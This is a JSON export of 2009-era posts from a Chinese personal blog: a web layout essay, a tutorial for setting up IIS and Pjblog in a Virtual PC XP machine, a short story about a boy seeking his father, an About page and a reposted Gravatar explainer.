右面显示内容的布局，因为菜单条背景教深，整体效果类似英文字母\u0026quot;T\u0026quot;,所以我们称之为\u0026quot;T\u0026quot;形布 局。这是网页设计中用的最广返的一种布局方式。(图略) 这种布局的优点是页面结构清晰，主次分明。是初学者最容易上手的布局方法。缺点是规矩呆板，如果细节色彩上不注意，很容易让人\u0026quot;看之无味\u0026quot;。\n2.\u0026quot;口\u0026quot;型布局。这是一个象形的说法，就是页面一般上下各有一个广告条，左面是主菜单，右面放友情连接等，中间是主要内容。(图略) 这种布局的优点是充分利用版面，信息量大(我的主页首页即属于这种布局)。缺点是页面拥挤， 不够灵活。也有将四边空出，只用中间的窗口型设计，例如网易壁纸站。\r3.\u0026quot;三\u0026quot;型布局。这种布局多用于国外站点，国内用的不多。特点是页面上横向两条色块，将页面整体分割为四部分，色块中大多放广告条。\r4.对称对比布局。顾名思义，采取左右或上下对称的布局，一半深色，一半浅色，一般用于设计型站点。优点是视觉冲击力强，缺点是将两部分有机的结合比较困难。\r5.POP布局。POP引自广告术语，就是指页面布局象一张宣传海报，以一张精美图片作为页面的设计中心。常用于时尚类站点，比如ELLE.com。优点显而易见：漂亮吸引人。缺点就是速度慢。作为版面布局还是值得借鉴的。以上总结了目前网络上常见的布局，其实还有许许多多别具一格的布局，关键在于你的创意和设计了。 三、版面编排 主页的设计首先涉及到的是页面的版面编排问题。\u0026quot;版面编排\u0026quot;实际上就是中国古代画论中的\u0026quot;经营位置\u0026quot;。主页作为一种版面，既有文字，又有图片。文字有大有小，还有标题和正文之分；图片也有大小，而且有横有竖之别。图片和文字都需要同时展示给观众，总不能简单地罗列在一个页面上，这样往往会搞得杂乱无章。因此必须根据内容的需要，将这些图片和文字按照一定的次序进行合理的编排和布局，使它们组成一个有机的整体，展现给广大的观众。可以依据如下几条来做：\n1、主次分明，中心突出。在一个页面上，必然考虑视觉的中心，这个中心一般在屏幕的中央，或者在中间偏上的部位。因此，一些重要的文章和图片一般可以安排在这个部位，在视觉中心以外的地方就可以安排那些稍微次要的内容，这样在页面上就突出了重点，做到了主次有别。\r2、大小搭配，相互呼应。较长的文章或标题，不要编排在一起，要有一定的距离，同样，较短的文章，也不能编排在一起。对待图片的安排也是这样，要互相错开，造成大小之间有一定的间隔，这样可以使页面错落有致，避免重心的偏离。\r3、图文并茂，相得益彰。文字和图片具有一种相互补充的视觉关系，页面上文字太多，就显得沉闷，缺乏生气。页面上图片太多，缺少文字，必然就会减少页面的信息容量。因此，最理想的效果是文字与图片的密切配合，互为衬托，既能活跃页面，又使主页有丰富的内容。\r4、空格使用恰当，错落有致。我觉得，网页的疏松程度在视觉方面也是相当的重要的。如果一个网页因为追求内容而将文字都挤在一块去了，那样也是相当的难看的。我们不妨在段落与段落之间稍稍留些空行，在文字与图片之间，适当留些空格，这样说不定能起到更好的效果。\r5、内容排版恰当，吸引人的先说。对于信息类的网页，我认为，第一下抓住网友的心是非常有必要的。如果网友在匆匆一瞥之间认为这个网页没什么可看的，那也许他就不会在看这个网页了。所以，我认为，内容的排版上我们要相得益彰，主次顺序要搞清楚。\r6、字体的设置要合理，赋予文字个性。文字的设计要服从于作品的风格特征。文字的设计不能和整个作品的风格特征相脱离，更不能相冲突，否则，就会破坏文字的诉求效果。一般说来，文字的个性大约可以分为以下几种： （1） 端庄秀丽：这一类字体优美清新，格调高雅，华丽高贵。 （2） 坚固挺拔：字体造型富于力度，简洁爽朗，现代感强，有很强的视觉冲击力。\r（3） 深沉厚重：字体造型规整，具有重量感， 庄严雄伟，不可动摇。 （4） 欢快轻盈：字体生动活泼，跳跃明快， 节奏感和韵律感都很强，给人一种生机盎然的感受。 （5） 苍劲古朴：这类字体朴素无华，饱含古韵，能给人一种对逝去时光的回味体验。 （6） 新颖独特：字体的造型奇妙，不同一般，个性非常突出，给人的印象独特而新颖。\r具体的设置要看网页的内容，风格，和制作者的眼光了。关于网页的设计，理论上的吸收是没有多大用的，关键还是要自己理论结合着实践，去不断的实验，在制作与失败中汲取教训，这样才能制作出赏心悦目的网页。\n","count":2959,"date":"2009年05月19日","featuredImage":null,"permalink":"https://imnerd.org/@web-design-beauty.html","summary":"\u003cp\u003e网页把各种信息以最快捷、方便的方式传达给受众。人们对美的追求是不断深入的，网页设计同样如此。网页不光是把各种东西放上去，能看就行，这是远远不够的！要考虑如何受众能更多的和更有效率的接收网页上的信息，从而使他们对给网站留下很好的印象，那就更能促进自己网站的运作。在这种标准的要求下，逐步产生了审美的需求。这需要从审美的方面入手，结合使用方便的要求，就能制作出清晰、整体性好的页面。使人浏览起来心情愉快，接收信息也会更加容易。同时提升网站的形象。\u003c/p\u003e","time":6,"title":"网页设计之美"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"前些天无意让我触碰到了Pjblog这么一个博客程序，让我感到了电脑的强大，也让我看到了好多的高手。但是要安装Pjblog这么一个程序，就必须找个空间来安装它。可是空间一般都是要靠money来去买的，像我这样的初学者肯定是不会去花这么一笔钱的啦。但是免费的空间要不就是要发帖，要不就是极度不稳定，今天传上去的说不定明天就会蒸发了。所以呢，我就想能不能在本地制造一个服务器的环境，来安装Pjblog呢？在网上搜了一下，发现我的basic操作系统不管用什么办法都不能装上IIS的。后来有人提醒我可以装虚拟机，让我一下子豁然开让。那么我就把我的本地Pjblog之路介绍一下吧。\nhttp://5.jxdx2.crsky.com/200805/VirtualPC2007_x32.rar\n系统我推荐XP，因为我们不仅可以在上面装IIS，也可以在上面装一些vista不兼容的软件啊，一举两得！这里是下载地址：http://xiazai.zol.com.cn/detail/27/261778.shtml\n此外，我们还应该下载一个IIS5.1的安装包。下载地址:http://www.webjx.com/htmldata/2005-04-09/1113041491.html\n二、安装Virtual PC 2007 安装Virtual PC 2007，过程简单，基本上一直点next就可以了。但是软件本身是英文的，而且也没有提供中文语言的选项。所以我们必须下载一个Virtual PC 2007的中文语言安装包。下载地址：http://www.onlinedown.net/soft/56134.htm\n解压后运行程序，载安装位置那儿选择Virtual PC 2007安装的地址就可以了。然后打开Virtual PC 2007→文件→选项→language→在下拉菜单中选择chinese simple→重启Virtual PC 2007\n三、安装XP镜像 打开Virtual PC 2007→新建→下一步→新建一台虚拟机→选择虚拟机的存储路径并为其命名→选择操作系统（这里选择XP）→使用推荐内存大小→新建虚拟硬盘→下一步→完成（这里为了省去麻烦都使用了软件推荐的配置，有兴趣者也可以自己修改内存和硬盘的大小）\n四、安装IIS 打开Virtual PC 2007，双击windows XP。下面就是载XP中安装IIS的步骤了： 开始→控制面板→添加或删除程序→添加或删除windows组件→IIS服务管理器→下一步→出现找不到文件的时候，就将文件位置指定到我们下的那个IIS5.1的位置→完成 光安装好了IIS还是不行的，我们还要修改权限打开才才C:/windows/（C为系统安装盘），找到temp这个文件夹，右击选择属性→安全选项卡（如果没有这个选项卡的话呢，就在菜单栏选取工具→文件夹选项→查看选项卡→将使用简单文件共享（推荐）前面的勾去掉→确定）→添加→输入对象名称中输入E→检查名称→确定在everyone中的权限选择完全控制（由于我们不是拿它来当做联网的服务器用，所以我们就算是大开IIS权限也应该没有关系的）→确定 然后再打开C:/Inetpub/对wwwroot的权限也进行设置一下，步骤跟上面的一样。\n五、好了，这也是最后一步了，只要将Pjblog的所有文件复制到wwwroot下就OK了！\n现在就打开浏览器，输入http://hostlocal吧。怎么样，是不是成功了呀！\n","count":1341,"date":"2009年05月19日","featuredImage":null,"permalink":"https://imnerd.org/vista-home-basic-installed-iis-method.html","summary":"\u003cp\u003e前些天无意让我触碰到了Pjblog这么一个博客程序，让我感到了电脑的强大，也让我看到了好多的高手。但是要安装Pjblog这么一个程序，就必须找个空间来安装它。可是空间一般都是要靠money来去买的，像我这样的初学者肯定是不会去花这么一笔钱的啦。但是免费的空间要不就是要发帖，要不就是极度不稳定，今天传上去的说不定明天就会蒸发了。所以呢，我就想能不能在本地制造一个服务器的环境，来安装Pjblog呢？在网上搜了一下，发现我的basic操作系统不管用什么办法都不能装上IIS的。后来有人提醒我可以装虚拟机，让我一下子豁然开让。那么我就把我的本地Pjblog之路介绍一下吧。\u003c/p\u003e","time":3,"title":"Vista Home Basic安装IIS方法"},{"comments":{"data":[650],"errmsg":"","errno":0},"contents":" ","count":0,"date":"2009年05月19日","featuredImage":null,"permalink":"https://imnerd.org/guestbook.html","summary":"\u003cembed width=\"449\" height=\"119\" name=\"plugin\" src=\"//imnerd.org/wp-content/uploads/material/guestbook.swf\" type=\"application/x-shockwave-flash\"/\u003e","time":0,"title":"留言簿"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 由于Picasa被封，院落相册不能显示。公子临时做了个相册，请点击这里进行浏览：临时相册\n哈哈,我又做了一个相册哦！～地址：http://album.imnerd.org [ 内含本人自曝！ ]\n","count":93,"date":"2009年05月19日","featuredImage":null,"permalink":"https://imnerd.org/photo.html","summary":"\u003cp\u003e\u003cspan style=\"font-size: 16px;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e由于Picasa被封，院落相册不能显示。公子临时做了个相册，请点击这里进行浏览：\u003ca href=\"https://imnerd.org/photo/index.html\"\u003e临时相册\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e哈哈,我又做了一个相册哦！～地址：\u003ca href=\"http://album.imnerd.org\"\u003e\u003ca href=\"http://album.imnerd.org\"\u003ehttp://album.imnerd.org\u003c/a\u003e\u003c/a\u003e [ 内含本人自曝！ ]\u003c/p\u003e","time":1,"title":"相册"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":"山的那边是什么，四儿总是这样问着妈妈。妈妈总是这样回答他：山的那边是海，爸爸就在那里工作。四儿努力读书，长大了就可以出去找爸爸了。于是四儿从小就知道，努力读书，，就可以走出这座山，就可以去找爸爸了！\n小时候的四儿，听到有人说他没爸爸的时候，总是气不过要和那人打起来，但妈妈告诉他：乖，四儿，你是有爸爸的。爸爸在山的那边，给四儿买好多的吃的呢！于是四儿从小就幻想着那么一副场景，自己坐在一座山一样高的零食前拼命的吃啊吃，前方一个有着和四儿一样的容貌的大人看着四儿在那里眯着眼睛笑着。\n有些时候，四儿也会发现妈妈一个人躲在厨房里面哭。四儿问妈妈：妈妈，你为什么哭呀？妈妈微笑着对着四儿说：沙子进了眼睛了。四儿信以为真，很认真的的说：那四儿帮妈妈吹吹。一边说一遍对着妈妈的眼睛吹气。可是不知怎的，眼泪越吹却是越多。于是四儿知道了，妈妈是爱哭的。\n四儿从小就和妈妈相依为命，妈妈每天都很努力的坐着事情。虽然没有见过爸爸，但四儿一点也不伤心，因为四儿知道，山的那边，有爸爸！ 于是，四儿很努力的读着书，不仅是为了找爸爸，也是因为他发现，每次他跟妈妈说他得了第一名的时候，妈妈都会笑的很开心，就像夏天里的荷花一样。四儿也很乖，做完作业后就帮着妈妈做些事情，虽然妈妈总不让他做。四儿的房间里贴满了四儿的奖状，村里人对四儿也是赞不绝口。 就这样，四儿一天天的长大着。长大了的四儿，学习更加努力了，能帮妈妈做的事情也更多了。可是四儿发现，妈妈老了，头发白了，干活也干不大动了。而且有时候，妈妈会一直盯着他，默默的念叨着什么，有时候竟突然的流泪了。四儿不奇怪，因为四儿是知道的，妈妈爱哭鼻子。\n快要高考了，四儿知道，这次考试很重要，所以他更是努力的一发不可收拾了。可就在这个时候，妈妈病了。四儿一遍读书，一边照顾着妈妈。妈妈总是劝他去读书，旁边的胖婶会照顾她的，但四儿不听，因为四儿想让妈妈早点好。就这样，四儿去高考了，考试的时候，四儿老想着妈妈，想着她现在吃药了没，睡着了没，心思老是到不了题目上去。于是四儿就这样迷迷糊糊的过了高考。日子一天天过去，妈妈的病也差不多好了，但他始终没敢跟妈妈说他考试时想着她，因为他直到妈妈听了这话会不高兴的。 成绩出来了，四儿考的不是很理想，但成绩也足够他上重点大学了。妈妈当时很高兴，但依旧是月牙般的笑容。那天妈妈让胖婶帮忙弄了好多好多的菜，请村里人吃饭。四儿也很高兴，因为他又看到妈妈笑了。 过了几天，妈妈语重心长的跟他说：四儿，妈妈没那么多钱供你上大学。你出去后就去这个地方找爸爸去吧，让他帮帮你。四儿那天非常的开心，因为终于可以见到爸爸了。身后的妈妈看着四儿开心的样子，笑的比以往还要灿烂。 妈妈目送着四儿离开，四儿没有回头，因为他直到，只要一回头，又是无尽的泪水。出了山，四儿才发现世界真的很大，到处都是人，简直人满为患。但四儿没有迷茫，因为他拽着一张纸，一张能让他找到爸爸的宝物。 终于到了，四儿忐忑的向保安打听着地址。顺着保安指的方向，四儿来到了一栋公寓前。站在门前，四儿咽了咽口水，终于鼓起勇气按了门铃。门开了，迎面出来的是一个身材中等的中年男子，充满沧桑的脸看得出来他这些年过的也并不如意。他看了半天，突然，瞳孔瞬间放大，脸庞抽搐也了两下……“谁呀？”里面传来了女人的声音。“是个大哥哥！”一个八九岁的小女孩探出脑门看了看回答到。看着这么温馨的画面，四儿的心有些刺痛，咸咸的泪水涌上心头，瞬间夺眶而出。四儿甚至没有向他憧憬了十八年的生父打一声招呼，就冲出了他的视线。站在门端的那个男人往前走了两步，却又突然生生制止了追出去的冲动，转身，叹了口气，关门。门外，传来他和刚才那个女人简短的对话，“谁啊？”，“没，按错门铃了。”……\n四儿没有照妈妈的话向父亲求助，而是在那儿找了份工作，并从班主任那里咨询到了申请助学金等一些事。四儿的大学生活一开始就被工作和学习填充满了。虽然是这样，但四儿并没有怨言，更没有再去见那个人，因为，他觉得，已经不需要了。妈妈偶尔会打电话过来，问他过的好不好呀，末了，总是会问上一句，找到你爸了没。四儿要么说最近忙没有去找，要么说没有找到，然后总是说妈妈打电话要钱，少打点，自己身体不好，多买点有营养的东西。四儿不想告诉妈妈事实，因为他觉得这个事实对她来说太残忍了，于是就骗她说没有找到。\n大二那年的暑假，妈妈突然在家里晕过去了，四儿和胖婶赶忙把妈妈送到医院去，医生找到胖婶嘀咕了几句，胖婶的脸顿时白了下来。四儿问胖婶妈妈怎么了，胖婶没有说，只是说多陪陪你妈妈吧。四儿感觉不大妙，总觉得有什么事情将要发生似的。妈妈也在那里安慰四儿说：“没事的，一会儿就好。”谁知，这一会儿，竟是让四儿等一辈子。第二天早上的时候，四儿看妈妈还在睡，便没有打扰她。可是过了好久，都快中午了，妈妈仍是一点动静都没有，四儿慌了，赶忙去叫医生。医生过来检查了一下，叹了口气，摇摇头，说：“病人已经去世了。”四儿当时就晕了过，醒过来已经是第二天了，胖婶正坐在他旁边。胖婶一边安慰他，一边削着苹果给他吃。四儿很想哭，大哭痛苦一场，可是内心的泪水总是挤不出来，憋在心里难受极了。妈妈的后事一切都是由胖婶安排的。四儿打心里感谢胖婶，她对他们母子的帮助实在是太多了。快开学了，四儿在妈妈的坟前，四儿默念了一句：妈妈，走好！就踏上了回学校的路。\n在学校，四儿没有向任何人倾诉着自己的不幸，总是默默的学习，默默的工作，默默的拿着奖学金，默默的干着事，仿佛世界本来没有他一样。但什么事也不能逃过班主任的眼睛，几经调查，班主任也曾对他有些担心，但看没有事情发生，也就没有多大在意。但四儿自己心里清楚，自己心里面的伤痛，即使是时间也愈合不了。若干个这样无聊的一天过去了，突然有天晚上，室友发现四儿都晚上12点了还没有回来，开始都以为他通宵自习去了。可是第二天上课的时候还是没有见他，大家慌了，赶忙跟班主任报告。班主任到教室，图书馆，自习室，他工作过的地方都没有找着他，和他一起做事的人说见他往河边走了。来到河边，在河边发现了他的学生卡，湿湿的，应该是被河水冲上来的。班主任当时就报了110，警方进行了打捞工作，可是怎么也没有发现他的尸体。就这样，他的事在大家心里悬着，不了了之了。\n很久以后，有人说在河边的城隍庙似乎见过他。\n【注：写的是在是很仓促，因为大家所要看结局，所以了了的写了上来，还望大家不要在意我的文笔，仅仅是去欣赏故事，用自己的大脑去联想。嗯，我在考虑是不是要补篇四儿的遗书。】\n","count":2636,"date":"2009年05月18日","featuredImage":null,"permalink":"https://imnerd.org/hill-there-is-the-sea-full-version.html","summary":"\u003cp\u003e山的那边是什么，四儿总是这样问着妈妈。妈妈总是这样回答他：山的那边是海，爸爸就在那里工作。四儿努力读书，长大了就可以出去找爸爸了。于是四儿从小就知道，努力读书，，就可以走出这座山，就可以去找爸爸了！\u003c/p\u003e","time":6,"title":"山的那边是海"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"\nNaruto\n我画的鸣人，怎么样呀？自我感觉良好，呵呵。\n刚装了WP-T-WAP插件，拿来试试手。比自己想象中的要差，但还是比较强悍的，呵呵。\n中午去食堂吃饭，发现一个重大消息啊，天杀的食堂终于降肉价了，看样子食堂也有良心发现的时候……\n","count":110,"date":"2009年05月18日","featuredImage":null,"permalink":"https://imnerd.org/mobile-browser.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/05/2112965359.jpg\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/05/2112965359.jpg\" alt=\"Naruto\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eNaruto\u003c/p\u003e\n\u003cp\u003e我画的鸣人，怎么样呀？自我感觉良好，呵呵。\u003c/p\u003e\n\u003cp\u003e刚装了WP-T-WAP插件，拿来试试手。比自己想象中的要差，但还是比较强悍的，呵呵。\u003c/p\u003e\n\u003cp\u003e中午去食堂吃饭，发现一个重大消息啊，天杀的食堂终于降肉价了，看样子食堂也有良心发现的时候……\u003c/p\u003e","time":1,"title":"手机浏览"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"买了个site5的空间，不知道好不好啊，不管了，先拿来玩玩吧，嘿嘿。从此，我的博客生涯就要在此展开拉，欢迎大家常来哦！\n","count":59,"date":"2009年05月17日","featuredImage":null,"permalink":"https://imnerd.org/my-new-life.html","summary":"\u003cp\u003e买了个site5的空间，不知道好不好啊，不管了，先拿来玩玩吧，嘿嘿。从此，我的博客生涯就要在此展开拉，欢迎大家常来哦！\u003c/p\u003e","time":1,"title":"My new life!"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"————基本资料————\n姓名：Austin Lee\n生日：1991.07.03\nE-mail/Gtalk/QQ/MSN:\n————个人介绍————\n嗯，平凡，普通的不能在普通的一个地球人，\r从初中到大学都没出方圆百里的老挫男；\r喜欢上网，是个极度恋家的宅男+网虫。\r喜欢计算机技术，但自己没本事，啥也不会；\r网络让我认识了好多人，\r比我大的，比我小的，男的，女的，还有好多动物。\r喜欢朦胧的细雨，爱上烟雨的江南；\r形式作风拖拖拉拉，是个十足的懒散蛋，\r行事低调，主要原因是胆小怕事，没有勇气。\r属于内在美没有，外在美全无的那种人，\r在社会的大河中漂流，\r希望平平淡淡的过完这一生。\r一座小房，有工资，还有一台电脑，就够了。\n————怡红院落————\n关于怡红院落，其实不想多说什么。\r这里，记录的是我的生活，\r快乐，悲情，应有尽有，\r但我能保证，这些都是我的心情。\r而我自己，在这里，已经不是现实的我，\r我有了一个新的名字，\r他叫怡红公子，\r一个简约而不简单的名字，\r就是这个院落的主人，\r永远都会守着这片自己的小天地。\n————院落日程————\n某年某月某日，公子购买了https://imnerd.org域名\r再某年某月某日，公子购买了主机，\r再在上个某年某月某日的几十分钟后，怡红院落出炉，\r怡红公子的怡红院落正式上线。\r2009年09月19日　从新加坡主机转移到美国主机\n————公子脚印————\nYou can find me here:\n//Twitter // Yahoo! Me Me // Last.fm //\n//Del.icio.us // Chi.mp //\n//Friendfeed //\n//饭否 // 火兔 // 叽歪 // 做啥 // 豆瓣 // 百度空间 // 网易博客 //\n————院落协议————\n怡红院落 by 怡红公子 is licensed under a license。Creative Commons 署名-非商业性使用-禁止演绎 2.5 中国大陆 License. 基于imnerd.org上的作品创作。\rPermissions beyond the scope of this license may be available at https://imnerd.org/.\n更新：从 2018 年开始，本站采用更开放的「署名 4.0 国际（CC BY 4.0）」创作共享协议。通俗地讲，只要在使用时署名，那么使用者可以对本站所有原创内容进行转载、节选、混编、二次创作，允许商业性使用。\n除非在文章正文内单独说明，本站欢迎各种形式的转载。Web 技术更新很快，本站很多文章都具有时效性，我会及时更新原文，但转载的文章无法通知更新。为了不给读者造成困惑或误导，请大家在转载时保留文章最后的出处。\n对于微信平台，本站仅授权「奇舞周刊」公众号在使用本站文章时标注「原创」；其他公众号可以随意转载本站文章而无需通知我，但请不要标注「原创」。\n","count":947,"date":"2009年05月17日","featuredImage":null,"permalink":"https://imnerd.org/about.html","summary":"\u003cp\u003e\u003cspan style=\"text-align: left;\"\u003e————\u003cspan style=\"color: #008000;\"\u003e基本资料\u003c/span\u003e————\u003c/span\u003e\u003c/p\u003e\n\u003c!--\u003cspan style=\"text-align: right;\"\u003e \u003c/span\u003e\r\n\u003cp style=\"text-align: left;\"\u003e\u003cspan style=\"text-align: right;\"\u003e\u003cobject style=\"cursor: pointer;\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"140\" height=\"226\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://a5.qzone.qq.com/loader.swf?pic=http://a5.qzone.qq.com/2008/08/19/007/922.swf\u0026amp;item=23861\u0026amp;textinfo=\u0026amp;rate=0\u0026amp;trinket=\u0026amp;type=.swf\" /\u003e\u003cparam name=\"wmode\" value=\"opaque\" /\u003e\u003cembed style=\"cursor: pointer;\" type=\"application/x-shockwave-flash\" width=\"140\" height=\"226\" src=\"http://a5.qzone.qq.com/loader.swf?pic=http://a5.qzone.qq.com/2008/08/19/007/922.swf\u0026amp;item=23861\u0026amp;textinfo=\u0026amp;rate=0\u0026amp;trinket=\u0026amp;type=.swf\" wmode=\"opaque\"\u003e\u003c/embed\u003e\u003c/object\u003e\u003c/span\u003e\r\n\r\n\u003c/p\u003e--\u003e\r\n\u003cp\u003e姓名：Austin Lee\u003c/p\u003e\r\n\u003cp\u003e生日：1991.07.03\u003c/p\u003e\r\n\u003cp\u003eE-mail/Gtalk/QQ/MSN:\u003c/p\u003e\r\n\u003cp\u003e\r\n\u003ca href=\"mailto:secret_lzm_007@qq.com\"\u003e\r\n  \u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/material/qq.jpg\" alt=\"\" /\u003e\r\n\u003c/a\u003e\r\n\u003c/p\u003e\r\n\u003cp style=\"text-align: left;\"\u003e\r\n\u003ca href=\"mailto:secret_lzm_007@163.com\"\u003e\r\n  \u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/material/163.jpg\" alt=\"\" /\u003e\r\n\u003c/a\u003e\r\n\u003c/p\u003e","time":2,"title":"关于"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"\r本文转载自异次元空间，原文请点击传送门。 不知道大家有没有留意到，在异次元留言的朋友们，有些拥有很酷的个性头像，而有些人只是显示默认的头像。异次元本身并没有提供设置头像的功能，这些人是如何做到更换头像的呢？其实，异次元使用了一个叫做Gravatar的服务，它的全称叫做“Globally Recognized Avatar”，翻译过来叫做全球通用头像。那么，这个Gravatar是怎样的一个东西呢？下面，我们一起来看看这个Web2.0时代的产物，简单地为一些新手朋友扫盲一下吧。\nGravatar的 概念首先是在国外的独立WordPress博客中兴起的，当你到任何一个支持Gravatar的网站留言时，这个网站都就会根据你所提供的Email地址 为你显示出匹配的头像。当然，这个头像，是需要你事先到Gravatar的网站注册并上传的，否则，在这个网站上，就只会显示成一个默认的头像。像异次元软件世界、那个小X的传说等，现在均已支持Gravatar服务了，你可以通过你的个性头像打造起你的个人品牌了！并且这个Gravatar没有什么约束，想换头像换马甲？很简单，改改留言的名字和email地址就可以了。另外注册与使用Gravatar均是完全免费的。\n下面几个步骤可以告诉大家如何在异次元软件世界或者别人的Blog上定制自己的个性头像：\n注册：进入Gravatar网站（网址http://gravatar.com/），点击左上角菜单里的Sign Up。 验证：进入你的邮箱，从Gravatar发出的信件中拷贝那段链接地址，在浏览器输入。 设置昵称、密码。 选择上传图片：一般都是从电脑中上传（My computer’s hard drive）。 5. 剪裁大小\r6. 评级：你的头像要被分级的，因为可能会有朋友喜欢用比较曝露的头像，会影响小朋友身心健康的说。如果你的图片不是特别那个的话，一般不用选择Sex或暴力 之类的，直接选择G（通用型），这样基本任何网站都能显示这个等级的图片。异次元比较邪恶，暂时允许显示R级以下的头像……\r7. 等待审核：可能需要站方短暂审核一下，一般选择了G，而你的图片没什么特别的，很快就通过。一般遇上慢的情况也就10分钟左右。\r完成了以上步骤，今后在异次元、那个小X的传说或其他支持Gravatar的网站留言都会显示你帅帅的头像了。暂时来说，大部分支持Gravatar的网站均是使用WordPress程序的博客，但其实任何其他网站程序，如果加入了Gravatar的代码，也是可以支持Gravatar的。估计这个应用在日后会渐渐普及起来吧，起码用户不需要每到一个网站去就搞一下头像……\n下面还有阿瓦同学写的FAQ，可能对大家有帮助：\n1. 问：注册和找回密码在哪进行？ Gravatar注册 | Gravatar找回密码 2. 问：注册Gravatar之后，只要是WordPress博客就能看到自己的头像了么？ 答：不一定，这取决于博客主题是否支持了Gravatar的API，幸运的是，目前大多数WordPress博客所使用的主题是支持Gravatar的。 3. 问：只能在WordPress博客使用Gravatar么？ 答：不是。这主要取决于网站管理者：只要网站能获取你的EMail信息，同时又在展现层使用Gravatar的API，就可以使用。国外一些小的Web2.0公司的产品都是支持Gravatar的。 4. 问：用EMail去匹配，又是通过展现层（HTML代码），那会不会泄露我的EMail呢？ 答：不会，因为Gravatar使用的是MD5加密之后的EMail字符串，您完全不必担心您的EMail地址泄露。 5. 问：为什么我注册之后看不到图像？ 答：因为Gravatar有一个比较长的缓冲周期；注册完之后，并不会立即显示相应图像 6. 问：我如果现在注册，之前留言中的头像会显示么？ 答：会，只要提交评论的时候，你使用了同样的EMail地址即会显示 7. 问：异次元和gravatar.com有什么联系，你为什么要帮它做广告？你是不是从中获取了什么利益？ 答：gravatar.com是Automattic旗下的产品；异次元使用了Automattic旗下的免费、开源博客系统 WordPress，我和gravatar.com的联系仅限于此。我这篇日志的主要初衷是为了让更多的朋友知道留言时的头像为什么有些人有，有些人无； 此外，宣传Gravatar是因为我认为它能让你获益，让我的Blog互动性更好，如果你只是喜欢阅读他人的文章而不常参与讨论，大可以忽略 Gravatar这个东西。 8. 问：如果想注册多个头像，怎么办？ 答：可以用GMail的一个“加号”小技巧来注册。其他邮箱暂时无法满足这种需求。这也是邮箱方面GMail的绝对竞争优势之一。 9. 问：为什么QQ邮箱无法注册？ 答：我没有考证，我也没有QQ邮箱；你问腾讯去吧，为什么它收不到注册信。如果有结果，也欢迎来这里留言通告 10. 问：如果有人冒充我的邮箱呢？ 答：没办法，如果被人冒充，就会显示这个邮箱匹配的头像，这的确是一个问题。因此，保护好自己的邮箱是非常重要的，也可以结合“8”中提到的GMail小技巧，比如你可使用somemail+1980@gmail.com来作为你的注册邮箱。一般人是无法猜测到你这个“+1980”的私有后缀的，而这个邮箱又能在GMail所正常使用。\nPS：很多朋友来信询问标题图片的头像是在哪里找到的，其实是一个免费的在线制作卡通头像的网站制作的，建议大家去围观！！\n本文转载自异次元空间，原文请点击传送门。\n","count":2233,"date":"2008年01月30日","featuredImage":null,"permalink":"https://imnerd.org/gravatar.html","summary":"\u003cimg class=\"aligncenter\" title=\"Gravatar\" src=\"http://myth.im/images/P6HRjs4ru0a5\" alt=\"\" width=\"682\" height=\"132\" /\u003e\r\n\u003cp\u003e本文转载自\u003ca href=\"http://iplaysoft.com\" target=\"_blank\"\u003e异次元空间\u003c/a\u003e，原文请点击\u003ca href=\"http://www.iplaysoft.com/gravatar.html\" target=\"_blank\"\u003e传送门\u003c/a\u003e。\n不知道大家有没有留意到，在异次元留言的朋友们，有些拥有很酷的个性头像，而有些人只是显示默认的头像。异次元本身并没有提供设置头像的功能，这些人是如何做到\u003ca href=\"http://www.iplaysoft.com/gravatar.html\" target=\"_blank\"\u003e更换头像\u003c/a\u003e的呢？其实，异次元使用了一个叫做\u003ca href=\"http://www.iplaysoft.com/gravatar.html\" target=\"_blank\"\u003eGravatar\u003c/a\u003e的服务，它的全称叫做“Globally Recognized Avatar”，翻译过来叫做\u003ca href=\"http://www.iplaysoft.com/gravatar.html\" target=\"_blank\"\u003e全球通用头像\u003c/a\u003e。那么，这个\u003cstrong\u003eGravatar\u003c/strong\u003e是怎样的一个东西呢？下面，我们一起来看看这个Web2.0时代的产物，简单地为一些新手朋友扫盲一下吧。\u003c/p\u003e","time":5,"title":"Gravatar是什么？全球通用头像简单介绍与使用教程"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"","count":0,"date":"2002年09月12日","featuredImage":null,"permalink":"https://imnerd.org/digu.html","summary":"","time":0,"title":"碎言碎语"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"","count":0,"date":"0001年01月01日","featuredImage":null,"permalink":"https://imnerd.org/search.html","summary":"","time":0,"title":"包含关键词 的文章"}]